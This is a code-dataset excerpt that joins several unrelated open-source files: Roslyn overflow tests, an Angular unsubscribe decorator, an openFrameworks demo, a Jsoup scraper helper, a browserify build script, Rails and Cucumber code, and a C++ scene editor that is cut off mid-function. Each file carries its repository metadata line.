constantDeclaration(opType, declarations, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantDeclaration(opType, declarations, $"unchecked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_NotConstantExpression, $"unchecked({expr})").WithArguments("Library.F") });
expr = $"(({leftType})({leftOperand})) {op} (({rightType})({rightOperand}))";
constantExpression(opType, expr, null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"checked({expr})", null, new[] { Diagnostic(ErrorCode.ERR_CheckedOverflow, expr) });
constantExpression(opType, $"unchecked({expr})", expectedResult, Array.Empty<DiagnosticDescription>());
}
void constantDeclaration(string opType, string declarations, string expr, string expectedResult, DiagnosticDescription[] expectedDiagnostics)
{
string sourceA =
$@"public class Library
{{
{declarations}
public const {opType} F = {expr};
}}";
var comp = CreateCompilation(sourceA, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
if (expectedDiagnostics.Length > 0) return;
string sourceB =
@"class Program
{
static void Main()
{
System.Console.WriteLine(Library.F);
}
}";
var refA = comp.EmitToImageReference();
comp = CreateCompilation(sourceB, references: new[] { refA }, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput: expectedResult);
}
// https://github.com/dotnet/csharplang/issues/3259: Should ERR_CheckedOverflow cases be evaluated
// at runtime rather than compile time to allow operations to succeed on 64-bit platforms?
void constantExpression(string opType, string expr, string expectedResult, DiagnosticDescription[] expectedDiagnostics)
{
string source =
$@"using System;
class Program
{{
static void Main()
{{
object result;
try
{{
{opType} value = {expr};
result = value;
}}
catch (Exception e)
{{
result = e.GetType().FullName;
}}
Console.WriteLine(result);
}}
}}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
comp.VerifyDiagnostics(expectedDiagnostics);
if (expectedDiagnostics.Length > 0) return;
CompileAndVerify(comp, expectedOutput: expectedResult);
}
}
// OverflowException behavior is consistent with unchecked int division.
[Fact]
public void UncheckedIntegerDivision()
{
string source =
@"using System;
class Program
{
static void Main()
{
Console.WriteLine(Execute(() => IntDivision(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => IntDivision(int.MinValue, -1)));
Console.WriteLine(Execute(() => IntRemainder(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => IntRemainder(int.MinValue, -1)));
Console.WriteLine(Execute(() => NativeIntDivision(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => NativeIntDivision(int.MinValue, -1)));
Console.WriteLine(Execute(() => NativeIntRemainder(int.MinValue + 1, -1)));
Console.WriteLine(Execute(() => NativeIntRemainder(int.MinValue, -1)));
}
static object Execute(Func<object> f)
{
try
{
return f();
}
catch (Exception e)
{
return e.GetType().FullName;
}
}
static int IntDivision(int x, int y) => unchecked(x / y);
static int IntRemainder(int x, int y) => unchecked(x % y);
static nint NativeIntDivision(nint x, nint y) => unchecked(x / y);
static nint NativeIntRemainder(nint x, nint y) => unchecked(x % y);
}";
var comp = CreateCompilation(source, options: TestOptions.ReleaseExe, parseOptions: TestOptions.Regular9);
CompileAndVerify(comp, expectedOutput:
$@"2147483647
System.OverflowException
0
System.OverflowException
2147483647
{(IntPtr.Size == 4 ? "System.OverflowException" : "2147483648")}
0
{(IntPtr.Size == 4 ? "System.OverflowException" : "0")}");
}
}
}
| genlu/roslyn | src/Compilers/CSharp/Test/Semantic/Semantics/NativeIntegerTests.cs | C# | mit | 654,700 |
import { Subscription } from 'rxjs/Subscription';
import * as _ from 'lodash-es';
import { ObservablesInterface } from './ngx-reactive-decorator.interface';
export const unsubscribeOnDestroy = function (target: any, observables?: ObservablesInterface): void {
// Original ngOnDestroy
const ngOnDestroy = target.prototype.ngOnDestroy;
// Add unsubscribe.
target.prototype.ngOnDestroy = function () {
if (observables === undefined) {
_.each(this, (subscription: Subscription) => {
// Find properties in component and search for subscription instance.
if (subscription instanceof Subscription && subscription.closed === false) {
subscription.unsubscribe();
}
});
} else {
_.each(this, (subscription: Subscription, key: string) => {
_.each(observables, (observableName: string) => {
if (key.includes(observableName)) {
if (subscription instanceof Subscription && subscription.closed === false) {
subscription.unsubscribe();
}
}
});
});
}
if (ngOnDestroy !== undefined) {
ngOnDestroy.apply(this, arguments);
}
};
}
| ngx-reactive/decorator | src/unsubscribe-on-destroy.func.ts | TypeScript | mit | 1,180 |
#include "ofApp.h"
void ofApp::setup() {
ofSetVerticalSync(true);
cam.initGrabber(1280, 720);
bulgeEffect.setup(1280, 720);
}
void ofApp::update() {
cam.update();
}
void ofApp::draw() {
if(ofGetMousePressed()) {
bulgeEffect.addBulge(ofGetWidth() / 2 - mouseX, ofGetHeight() / 2, mouseY);
bulgeEffect.addBulge(ofGetWidth() / 2 + mouseX, ofGetHeight() / 2, mouseY);
} else {
ofSeedRandom(0);
for(int i = 0; i < 64; i++) {
float x = ofMap(sin(ofGetElapsedTimef() * ofRandom(3)), -1, 1, 0, ofGetWidth());
float y = ofMap(sin(ofGetElapsedTimef() * ofRandom(3)), -1, 1, 0, ofGetHeight());
bulgeEffect.addBulge(x, y, ofRandom(64, 512));
}
}
bulgeEffect.draw(cam.getTextureReference(), 0, 0);
ofDrawBitmapStringHighlight(ofToString((int) ofGetFrameRate()), 10, 20);
}
| kylemcdonald/openFrameworksDemos | BulgeEffectMulti/src/ofApp.cpp | C++ | mit | 795 |
package org.fscraper.helpers;
import org.jsoup.Connection;
import org.jsoup.HttpStatusException;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import java.io.IOException;
import java.net.SocketTimeoutException;
/**
* @author Jamil Rzayev March 2015
*/
public class ScraperHelper {
private static Logger logger = LoggerFactory.getLogger(ScraperHelper.class.getSimpleName());
private static final Integer TIMEOUT = 40000;
private static final String AGENT = "Mozilla";
public static Document loadHTMLDocument(String url) {
Document document;
try {
Connection connection = Jsoup.connect(url);
document = connection
.timeout(TIMEOUT)
.userAgent(AGENT)
.get();
} catch(SocketTimeoutException socEx) {
logger.error(socEx.getMessage(), socEx);
document = null;
} catch (HttpStatusException httpEx) {
logger.error(httpEx.getMessage(), httpEx);
document = null;
}catch (IOException ex) {
logger.error(ex.getMessage(), ex);
document = null;
} catch (Exception httEx) {
logger.error(httEx.getMessage());
document = null;
}
return document;
}
}
| jamilr/fashionScraper | src/main/java/org/fscraper/helpers/ScraperHelper.java | Java | mit | 1,389 |
const fs = require('fs')
const Log = require('log')
const browserify = require('browserify')
const babelify = require('babelify')
const errorify = require('errorify')
const cssNext = require('postcss-cssnext')
const cssModulesify = require('css-modulesify')
const exec = require('child_process').exec
const log = new Log('info')
const fileMap = {
'index.js': 'main'
}
const files = Object.keys(fileMap)
const srcFolder = `${__dirname}/../demo`
const buildFolder = `${__dirname}/../docs`
const outFiles = files.map(file => {
return `${buildFolder}/${fileMap[file]}.js ${buildFolder}/${fileMap[file]}.css`
}).join(' ')
exec(`rm -rf ${outFiles} ${buildFolder}/index.html`, (err) => {
if (err) {
throw err
}
exec(`cp ${srcFolder}/index.html ${buildFolder}/index.html`, (error) => {
if (error) {
throw error
}
})
files.forEach(file => {
const inFile = `${srcFolder}/${file}`
const outFile = `${buildFolder}/${fileMap[file]}`
const b = browserify({
entries: [inFile],
plugin: [
errorify
],
transform: [
[ babelify, {
presets: [
'es2015',
'stage-0',
'react'
]
}]
]
})
b.plugin(cssModulesify, {
output: `${outFile}.css`,
after: [cssNext()]
})
function bundle () {
b.bundle().pipe(fs.createWriteStream(`${outFile}.js`))
}
b.on('log', message => log.info(message))
b.on('error', message => log.error(message))
bundle()
})
})
| pixelass/schachtel | scripts/build.js | JavaScript | mit | 1,530 |
class CreateTextbooks < ActiveRecord::Migration
def self.up
create_table :textbooks do |t|
t.string :name, :author, :amazon_url
t.integer :edition
t.timestamps
end
end
def self.down
drop_table :textbooks
end
end
| puttputt/urtext | db/migrate/20101123205611_create_textbooks.rb | Ruby | mit | 251 |
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE TS>
<TS version="2.1">
<context>
<name>QPathEdit</name>
<message>
<location filename="QPathEdit/qpathedit.cpp" line="53"/>
<source>Open File-Dialog</source>
<translation type="unfinished"></translation>
</message>
<message>
<location filename="QPathEdit/qpathedit.cpp" line="407"/>
<source>…</source>
<translation type="unfinished"></translation>
</message>
</context>
</TS>
| Skycoder42/QPathEdit | qpathedit_template.ts | TypeScript | mit | 494 |
Given 'there is a task list "$name"' do |name|
create :section, :name => name, :project => current_project
end
Given 'a task completed task on "$name"' do |name|
section = Section.find_by_name! name
create :task, :state => 'completed', :section => section
end
Given 'the task list "$name" is archived' do |name|
section = Section.find_by_name! name
section.archived = true
section.save!
end
When 'I unarchive the task list "$name"' do |name|
section = Section.find_by_name! name
visit section_path(section)
find('#section_title .unarchive').click
end
When 'I archive the last task on "$name"' do |name|
section = Section.find_by_name! name
visit section_path(section)
find('.task .archive').click
end
When 'I archive the section' do
find('#section_title .archive').click
end
When 'I add a task list "$name"' do |name|
click_link 'Create task list'
fill_in 'Name', :with => name
click_button 'Create'
end
When 'I rename "$current_name" task list to "$new_name"' do |current_name, new_name|
click_link current_name
click_link 'Edit'
wait_for_ajax_to_complete
sleep 1
fill_in 'Name', :with => new_name
click_button 'Save'
wait_for_ajax_to_complete
end
When 'I delete "$name" task list' do |name|
click_link name
confirm_on_next_action
click_link 'Delete'
end
Then 'there should be a "$name" task list in the project' do |name|
current_project.sections.find_by_name(name).should be_present
end
Then 'there should not be a "$name" task list in the project' do |name|
current_project.sections.find_by_name(name).should_not be_present
end
Then 'the task list "$name" should not be archived' do |name|
Section.find_by_name!(name).should_not be_archived
end
Then 'the task list "$name" should be archived' do |name|
Section.find_by_name!(name).should be_archived
end
Then 'tasks can be added to "$name"' do |name|
page.should have_content('Add task')
end
Then 'no tasks can not be added to "$name"' do |name|
section = Section.find_by_name! name
visit section_path(section)
page.should_not have_content('Add task')
end | RStankov/Taskar | features/step_definitions/task_lists_steps.rb | Ruby | mit | 2,108 |
module ActionView
# There's also a convenience method for rendering sub templates within the current controller that depends on a single object
# (we call this kind of sub templates for partials). It relies on the fact that partials should follow the naming convention of being
# prefixed with an underscore -- as to separate them from regular templates that could be rendered on their own.
#
# In a template for Advertiser#account:
#
# <%= render :partial => "account" %>
#
# This would render "advertiser/_account.erb" and pass the instance variable @account in as a local variable +account+ to
# the template for display.
#
# In another template for Advertiser#buy, we could have:
#
# <%= render :partial => "account", :locals => { :account => @buyer } %>
#
# <% for ad in @advertisements %>
# <%= render :partial => "ad", :locals => { :ad => ad } %>
# <% end %>
#
# This would first render "advertiser/_account.erb" with @buyer passed in as the local variable +account+, then render
# "advertiser/_ad.erb" and pass the local variable +ad+ to the template for display.
#
# == Rendering a collection of partials
#
# The example of partial use describes a familiar pattern where a template needs to iterate over an array and render a sub
# template for each of the elements. This pattern has been implemented as a single method that accepts an array and renders
# a partial by the same name as the elements contained within. So the three-lined example in "Using partials" can be rewritten
# with a single line:
#
# <%= render :partial => "ad", :collection => @advertisements %>
#
# This will render "advertiser/_ad.erb" and pass the local variable +ad+ to the template for display. An iteration counter
# will automatically be made available to the template with a name of the form +partial_name_counter+. In the case of the
# example above, the template would be fed +ad_counter+.
#
# NOTE: Due to backwards compatibility concerns, the collection can't be one of hashes. Normally you'd also just keep domain objects,
# like Active Records, in there.
#
# == Rendering shared partials
#
# Two controllers can share a set of partials and render them like this:
#
# <%= render :partial => "advertisement/ad", :locals => { :ad => @advertisement } %>
#
# This will render the partial "advertisement/_ad.erb" regardless of which controller this is being called from.
#
# == Rendering partials with layouts
#
# Partials can have their own layouts applied to them. These layouts are different than the ones that are specified globally
# for the entire action, but they work in a similar fashion. Imagine a list with two types of users:
#
# <%# app/views/users/index.html.erb &>
# Here's the administrator:
# <%= render :partial => "user", :layout => "administrator", :locals => { :user => administrator } %>
#
# Here's the editor:
# <%= render :partial => "user", :layout => "editor", :locals => { :user => editor } %>
#
# <%# app/views/users/_user.html.erb &>
# Name: <%= user.name %>
#
# <%# app/views/users/_administrator.html.erb &>
# <div id="administrator">
# Budget: $<%= user.budget %>
# <%= yield %>
# </div>
#
# <%# app/views/users/_editor.html.erb &>
# <div id="editor">
# Deadline: $<%= user.deadline %>
# <%= yield %>
# </div>
#
# ...this will return:
#
# Here's the administrator:
# <div id="administrator">
# Budget: $<%= user.budget %>
# Name: <%= user.name %>
# </div>
#
# Here's the editor:
# <div id="editor">
# Deadline: $<%= user.deadline %>
# Name: <%= user.name %>
# </div>
#
# You can also apply a layout to a block within any template:
#
# <%# app/views/users/_chief.html.erb &>
# <% render(:layout => "administrator", :locals => { :user => chief }) do %>
# Title: <%= chief.title %>
# <% end %>
#
# ...this will return:
#
# <div id="administrator">
# Budget: $<%= user.budget %>
# Title: <%= chief.name %>
# </div>
#
# As you can see, the <tt>:locals</tt> hash is shared between both the partial and its layout.
module Partials
extend ActiveSupport::Memoizable
private
def render_partial(partial_path, object_assigns = nil, local_assigns = {}) #:nodoc:
local_assigns ||= {}
case partial_path
when String, Symbol, NilClass
pick_template(find_partial_path(partial_path)).render_partial(self, object_assigns, local_assigns)
when ActionView::Helpers::FormBuilder
builder_partial_path = partial_path.class.to_s.demodulize.underscore.sub(/_builder$/, '')
render_partial(builder_partial_path, object_assigns, (local_assigns || {}).merge(builder_partial_path.to_sym => partial_path))
when Array, ActiveRecord::Associations::AssociationCollection, ActiveRecord::NamedScope::Scope
if partial_path.any?
collection = partial_path
render_partial_collection(nil, collection, nil, local_assigns)
else
""
end
else
render_partial(ActionController::RecordIdentifier.partial_path(partial_path, controller.class.controller_path), partial_path, local_assigns)
end
end
def render_partial_collection(partial_path, collection, partial_spacer_template = nil, local_assigns = {}, as = nil) #:nodoc:
return " " if collection.empty?
local_assigns = local_assigns ? local_assigns.clone : {}
spacer = partial_spacer_template ? render(:partial => partial_spacer_template) : ''
index = 0
collection.map do |object|
_partial_path ||= partial_path || ActionController::RecordIdentifier.partial_path(object, controller.class.controller_path)
path = find_partial_path(_partial_path)
template = pick_template(path)
local_assigns[template.counter_name] = index
result = template.render_partial(self, object, local_assigns, as)
index += 1
result
end.join(spacer)
end
def find_partial_path(partial_path)
if partial_path.include?('/')
"#{File.dirname(partial_path)}/_#{File.basename(partial_path)}"
elsif respond_to?(:controller)
"#{controller.class.controller_path}/_#{partial_path}"
else
"_#{partial_path}"
end
end
memoize :find_partial_path
end
end
| marten/opinionated-forum | vendor/rails/actionpack/lib/action_view/partials.rb | Ruby | mit | 6,543 |
<?php
use Doctrine\Common\Annotations\AnnotationRegistry;
call_user_func(function() {
if ( ! is_file($autoloadFile = __DIR__.'/../../../../vendor/autoload.php')) {
throw new \RuntimeException('Did not find vendor/autoload.php. Did you run "composer install --dev"?');
}
require_once $autoloadFile;
AnnotationRegistry::registerLoader('class_exists');
});
| kambro/WebSocketServer | src/Fishyfish/WebSocketServerBundle/Tests/bootstrap.php | PHP | mit | 395 |
/**************************************************************************
The MIT License (MIT)
Copyright (c) 2015 Dmitry Sovetov
https://github.com/dmsovetov
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
**************************************************************************/
#include "SceneEditor.h"
#include "../Widgets/Menu.h"
#include "../Widgets/Inspector/EntityInspector.h"
#include "../Systems/Transform/TranslationTool.h"
#include "../Systems/Transform/RotationTool.h"
#include "../Systems/Transform/ArcballRotationTool.h"
#include "../Systems/Terrain/TerrainEditing.h"
#include "../Systems/Rendering.h"
#include "../Project/Project.h"
#define DEV_CAMERA_SPLIT (0)
DC_BEGIN_COMPOSER
namespace Editors {
//class TestMoverInput : public Ecs::Component<TestMoverInput> {
//};
//
//class TestMover : public Ecs::Component<TestMover> {
//};
//
//class TestInputSystem : public Scene::InputSystem<TestInputSystem, TestMoverInput, Scene::Sprite, Scene::Transform, TestMover> {
//public:
//
// TestInputSystem( Scene::Scene& scene )
// : InputSystem( scene ) {}
//
// virtual void touchBegan( Ecs::Entity& entity, u8 flags, const Scene::TouchEvent& touch ) NIMBLE_OVERRIDE
// {
// entity.attach<Scene::RotateAroundAxes>( 5.0f )->setBinding( new Scene::Vec3Binding( Vec3( 0.0f, 0.0f, 1.0f ) ) );
// }
//
// virtual void touchMoved( Ecs::Entity& entity, u8 flags, const Scene::TouchEvent& touch ) NIMBLE_OVERRIDE
// {
// Scene::Transform* transform = entity.get<Scene::Transform>();
// transform->setX( touch.x );
// transform->setY( touch.y );
// }
//
// virtual void touchEnded( Ecs::Entity& entity, u8 flags, const Scene::TouchEvent& touch ) NIMBLE_OVERRIDE
// {
// entity.detach<Scene::RotateAroundAxes>();
// }
//};
// ** SceneEditor::SceneEditor
SceneEditor::SceneEditor( void ) : m_tools( NULL )
{
}
// ** SceneEditor::initialize
bool SceneEditor::initialize( ProjectQPtr project, const FileInfo& asset, Ui::DocumentQPtr document )
{
if( !VisualEditor::initialize( project, asset, document ) ) {
return false;
}
// Create cursor binding
m_cursorMovement = new Scene::Vec3Binding;
// Create the scene.
m_scene = loadFromFile( m_asset.absoluteFilePath() );
// Create rendering context.
m_renderingContext = Scene::RenderingContext::create( hal() );
m_renderCache = Scene::TestRenderCache::create( &project->assets(), m_renderingContext );
m_renderScene = Scene::RenderScene::create( m_scene, m_renderingContext, m_renderCache );
m_rvm = Scene::RenderingContext::create( m_renderingContext );
// Create the scene model
m_sceneModel = new SceneModel( m_project->assets(), m_scene, this );
// Create terrain.
{
//Scene::TerrainPtr terrain1 = new Scene::Terrain( m_project->assets().get(), "terrain1", "terrain1", 128 );
//m_sceneModel->placeTerrain( terrain1, Vec3( 0, 0, 0 ) );
//Scene::TerrainPtr terrain2 = new Scene::Terrain( m_project->assets().get(), "terrain2", "terrain2", 128 );
//m_sceneModel->placeTerrain( terrain2, Vec3( 128, 0, 0 ) );
//Scene::TerrainPtr terrain3 = new Scene::Terrain( m_project->assets().get(), "terrain3", "terrain3", 128 );
//m_sceneModel->placeTerrain( terrain3, Vec3( 0, 0, 128 ) );
//Scene::TerrainPtr terrain4 = new Scene::Terrain( m_project->assets().get(), "terrain4", "terrain4", 128 );
//m_sceneModel->placeTerrain( terrain4, Vec3( 128, 0, 128 ) );
m_terrainTool = m_scene->createSceneObject();
m_terrainTool->attach<Scene::Transform>();
m_terrainTool->attach<TerrainTool>( /*terrain1*/Scene::TerrainHandle(), 10.0f );
m_terrainTool->attach<SceneEditorInternal>( m_terrainTool, SceneEditorInternal::Private );
m_scene->addSceneObject( m_terrainTool );
#if DEV_DEPRECATED_SCENE_INPUT
m_scene->addSystem<TerrainHeightmapSystem>( m_terrainTool, viewport() );
#endif /* #if DEV_DEPRECATED_SCENE_INPUT */
}
// Create grid.
{
Scene::SceneObjectPtr grid = m_scene->createSceneObject();
grid->attach<Scene::Grid>();
grid->attach<Scene::Transform>();
grid->attach<SceneEditorInternal>( grid, SceneEditorInternal::Private );
m_scene->addSceneObject( grid );
}
// Create the camera.
m_camera = m_scene->createSceneObject();
m_camera->attach<Scene::Transform>()->setPosition( Vec3( 0.0f, 5.0f, 5.0f ) );
m_camera->attach<Scene::Camera>( Scene::Projection::Perspective, backgroundColor() );
m_camera->attach<Scene::RotateAroundAxes>( 10.0f, Scene::CSLocalX, DC_NEW Scene::Vec3FromMouse )->setRangeForAxis( Scene::AxisX, Range( -90.0f, 90.0f ) );
m_camera->get<Scene::RotateAroundAxes>()->setBinding( m_cursorMovement );
m_camera->attach<Scene::MoveAlongAxes>( 60.0f, Scene::CSLocal, new Scene::Vec3FromKeyboard( Platform::Key::A, Platform::Key::D, Platform::Key::W, Platform::Key::S ) );
m_camera->disable<Scene::RotateAroundAxes>();
m_camera->disable<Scene::MoveAlongAxes>();
m_camera->attach<SceneEditorInternal>( m_camera, SceneEditorInternal::Private );
m_camera->get<Scene::Camera>()->setNdc( Rect( 0.0f, 0.0f, 0.5f, 0.5f ) );
m_camera->get<Scene::Camera>()->setFar( 100.0f );
m_camera->attach<Scene::Viewport>( viewport() );
//m_camera->attach<Scene::RenderDepthComplexity>( Rgba( 1.0f, 1.0f, 0.0f ), 0.1f );
//m_camera->attach<Scene::RenderWireframe>();
//m_camera->attach<Scene::RenderVertexNormals>();
//m_camera->attach<Scene::RenderUnlit>();
//m_camera->attach<Scene::RenderForwardLit>();
//m_camera->attach<Scene::RenderBoundingVolumes>();
//m_camera->attach<RenderSceneHelpers>();
//m_camera->attach<Scene::SpriteRenderer>( 0.01f );
{
Scene::ForwardRenderer* forwardRenderer = m_camera->attach<Scene::ForwardRenderer>();
forwardRenderer->setShadowSize( 2048 );
forwardRenderer->setShadowCascadeCount( 4 );
forwardRenderer->setShadowCascadeLambda( 0.3f );
forwardRenderer->setDebugCascadeShadows( true );
}
//m_camera->attach<Scene::DebugRenderer>();
//m_camera->attach<TestMoverInput>();
m_camera->get<Scene::MoveAlongAxes>()->setSpeed( 10 );
#if DEV_CAMERA_SPLIT
// Depth complexity camera
{
Scene::SceneObjectPtr camera = m_scene->createSceneObject();
camera->attach<Scene::Transform>( 0, 0, 0, m_camera->get<Scene::Transform>() );
camera->attach<Scene::Camera>( Scene::Camera::Perspective, m_renderTarget, backgroundColor(), Rect( 0.5f, 0.0f, 1.0f, 0.5f ) );
camera->attach<Scene::RenderDepthComplexity>( Rgba( 1.0f, 1.0f, 0.0f ), 0.1f );
camera->attach<SceneEditorInternal>( camera, SceneEditorInternal::Private );
m_scene->addSceneObject( camera );
}
// Unlit camera
{
Scene::SceneObjectPtr camera = m_scene->createSceneObject();
camera->attach<Scene::Transform>( 0, 0, 0, m_camera->get<Scene::Transform>() );
camera->attach<Scene::Camera>( Scene::Camera::Perspective, m_renderTarget, backgroundColor(), Rect( 0.0f, 0.5f, 0.5f, 1.0f ) );
camera->attach<Scene::RenderUnlit>();
camera->attach<SceneEditorInternal>( camera, SceneEditorInternal::Private );
m_scene->addSceneObject( camera );
}
#else
m_camera->get<Scene::Camera>()->setNdc( Rect( 0.0f, 0.0f, 1.0f, 1.0f ) );
#endif
m_scene->addSceneObject( m_camera );
// Add a 2D camera
{
Scene::SceneObjectPtr camera = m_scene->createSceneObject();
camera->attach<Scene::Transform>();
camera->attach<Scene::Camera>( Scene::Projection::Ortho );
camera->attach<Scene::Viewport>( viewport() );
camera->attach<Scene::SpriteRenderer>();
camera->attach<Editors::SceneEditorInternal>();
m_scene->addSceneObject( camera );
}
#if DEV_DEPRECATED_SCENE_INPUT
// Add gizmo systems
m_scene->addSystem<TranslationToolSystem>( viewport() );
m_scene->addSystem<ArcballRotationToolSystem>( viewport() );
m_scene->addSystem<RotationToolSystem>( viewport() );
#else
//m_scene->addInputSystem<TestInputSystem>();
#endif /* #if DEV_DEPRECATED_SCENE_INPUT */
m_renderScene->addRenderSystem<Scene::ForwardRenderSystem>();
m_renderScene->addRenderSystem<Scene::DebugRenderSystem>();
//m_renderScene->addRenderSystem<Scene::SpriteRenderSystem>();
// Set the default tool
setTool( NoTool );
return true;
}
// ** SceneEditor::render
void SceneEditor::render( f32 dt )
{
// Update the scene
m_scene->update( 0, dt );
// Render the scene
clock_t time = clock();
Scene::RenderFrameUPtr frame = m_renderScene->captureFrame();
m_rvm->display( *frame.get() );
time = clock() - time;
static u32 kLastPrintTime = 0;
static u32 kTime = 0;
static u32 kFrames = 0;
u32 time1 = Time::current();
if( time1 - kLastPrintTime > 1000 ) {
LogWarning( "sceneEditor", "Rendering the frame took %2.2f ms\n", f32( kTime ) / kFrames );
kLastPrintTime = time1;
kFrames = 0;
kTime = 0;
}
kTime += time;
kFrames++;
// Reset the cursor movement
m_cursorMovement->set( Vec3() );
}
struct Null : public Ecs::Component<Null> {};
// ** SceneEditor::save
void SceneEditor::save( void )
{
#if 0
// Get the set of objects to be serialized
Scene::SceneObjectSet objects = m_scene->findByAspect( Ecs::Aspect::exclude<Null>() );
// Create serialization context
Ecs::SerializationContext ctx( m_scene->ecs() );
KeyValue kv;
// Write each object to a root key-value archive
for( Scene::SceneObjectSet::const_iterator i = objects.begin(), end = objects.end(); i != end; ++i ) {
if( !(*i)->isSerializable() ) {
continue;
}
Archive object;
(*i)->serialize( ctx, object );
kv.setValueAtKey( (*i)->id().toString(), object );
}
// Write the serialized data to file
qComposer->fileSystem()->writeTextFile( m_asset.absoluteFilePath(), QString::fromStdString( Io::VariantTextStream::stringify( Variant::fromValue( kv ), true ) ) );
#else
LogError( "sceneEditor", "%s", "scene serialization is not implemented\n" );
#endif
}
// ** SceneEditor::loadFromFile
Scene::ScenePtr SceneEditor::loadFromFile( const QString& fileName ) const
{
// Create scene instance
Scene::ScenePtr scene = Scene::Scene::create();
#if 0
// Read the file contents
QString data = qComposer->fileSystem()->readTextFile( fileName );
if( data.isEmpty() ) {
return scene;
}
// Create serialization context
Ecs::SerializationContext ctx( scene->ecs() );
ctx.set<Scene::Resources>( &m_project->assets() );
// Parse KeyValue from a text stream
Archive ar = Io::VariantTextStream::parse( data.toStdString() );
KeyValue kv = ar.as<KeyValue>();
// Read each object from a root key-value archive
for( KeyValue::Properties::const_iterator i = kv.properties().begin(), end = kv.properties().end(); i != end; ++i ) {
// Create entity instance by a type name
Ecs::EntityPtr entity = ctx.createEntity( i->second.as<KeyValue>().get<String>( "Type" ) );
entity->attach<SceneEditorInternal>( entity );
// Read entity from data
entity->deserialize( ctx, i->second );
// Add entity to scene
scene->addSceneObject( entity );
}
#else
s32 pointCloudCount = 0;
s32 boxCount = 0;
s32 meshCount = 10;
s32 points = 500;
s32 c = 0;
#define ENABLE_MESHES (0)
#if ENABLE_MESHES
Scene::ImageHandle diffuse = m_project->assets().find<Scene::Image>( "cea54b49010a442db381be76" );
NIMBLE_ABORT_IF( !diffuse.isValid() );
Scene::MeshHandle mesh = m_project->assets().find<Scene::Mesh>( "eb7a422262cd5fda10121b47" );
NIMBLE_ABORT_IF( !mesh.isValid() );
#endif
Scene::ImageHandle checker = m_project->assets().add<Scene::Image>( Guid::generate(), DC_NEW Scene::ImageCheckerGenerator( 128, 128, 8, Rgb(1.0f,1.0f,1.0f), Rgb(0.5f, 0.5f, 0.5f) ) );
checker.asset().setName( "Checker.image" );
Scene::MaterialHandle dflt = m_project->assets().add<Scene::Material>( Guid::generate(), DC_NEW Assets::NullSource );
{
dflt.asset().setName( "Default.material" );
Assets::WriteLock<Scene::Material> writable = dflt.writeLock();
writable->setTexture( Scene::Material::Diffuse, checker );
writable->setColor( Scene::Material::Diffuse, Rgba( 1.0f, 1.0f, 1.0f ) );
writable->setLightingModel( Scene::LightingModel::Phong );
}
Scene::MeshHandle ground = m_project->assets().add<Scene::Mesh>( Guid::generate(), DC_NEW Scene::MeshPlaneGenerator( Vec3::axisX(), Vec3::axisZ(), 100.0f ) );
ground.asset().setName( "Ground.mesh" );
Scene::MeshHandle box = m_project->assets().add<Scene::Mesh>( Guid::generate(), DC_NEW Scene::MeshBoxGenerator( 1.0f, 2.0f, 1.0f ) );
box.asset().setName( "Box.mesh" );
Scene::MeshHandle sphere = m_project->assets().add<Scene::Mesh>( Guid::generate(), DC_NEW Scene::MeshSphereGenerator( 1.0f ) );
box.asset().setName( "Sphere.mesh" );
Scene::MeshHandle torus = m_project->assets().add<Scene::Mesh>( Guid::generate(), DC_NEW Scene::MeshTorusGenerator( 1.0f ) );
box.asset().setName( "Torus.mesh" );
#if ENABLE_MESHES
Scene::MaterialHandle stone = m_project->assets().add<Scene::Material>( Guid::generate(), DC_NEW Assets::NullSource );
{
stone.asset().setName( "Stone.material" );
Assets::WriteLock<Scene::Material> writable = stone.writeLock();
writable->setDiffuse( diffuse );
writable->setColor( Scene::Material::Diffuse, Rgba( 0.45f, 0.45f, 0.45f ) );
writable->setLightingModel( Scene::LightingModel::Phong );
}
#endif
Scene::MaterialHandle white = m_project->assets().add<Scene::Material>( Guid::generate(), DC_NEW Assets::NullSource );
{
white.asset().setName( "White.material" );
Assets::WriteLock<Scene::Material> writable = white.writeLock();
writable->setColor( Scene::Material::Diffuse, Rgba( 1.0f, 1.0f, 1.0f ) );
writable->setLightingModel( Scene::LightingModel::Phong );
}
Scene::MaterialHandle red = m_project->assets().add<Scene::Material>( Guid::generate(), DC_NEW Assets::NullSource );
{
red.asset().setName( "Red.material" );
Assets::WriteLock<Scene::Material> writable = red.writeLock();
writable->setColor( Scene::Material::Diffuse, Rgba( 1.0f, 0.5f, 0.25f ) );
writable->setColor( Scene::Material::Emission, Rgba( 0.4f, 0.0f, 0.4f ) );
writable->setLightingModel( Scene::LightingModel::Unlit );
}
Scene::MaterialHandle green = m_project->assets().add<Scene::Material>( Guid::generate(), DC_NEW Assets::NullSource );
{
green.asset().setName( "Green.material" );
Assets::WriteLock<Scene::Material> writable = green.writeLock();
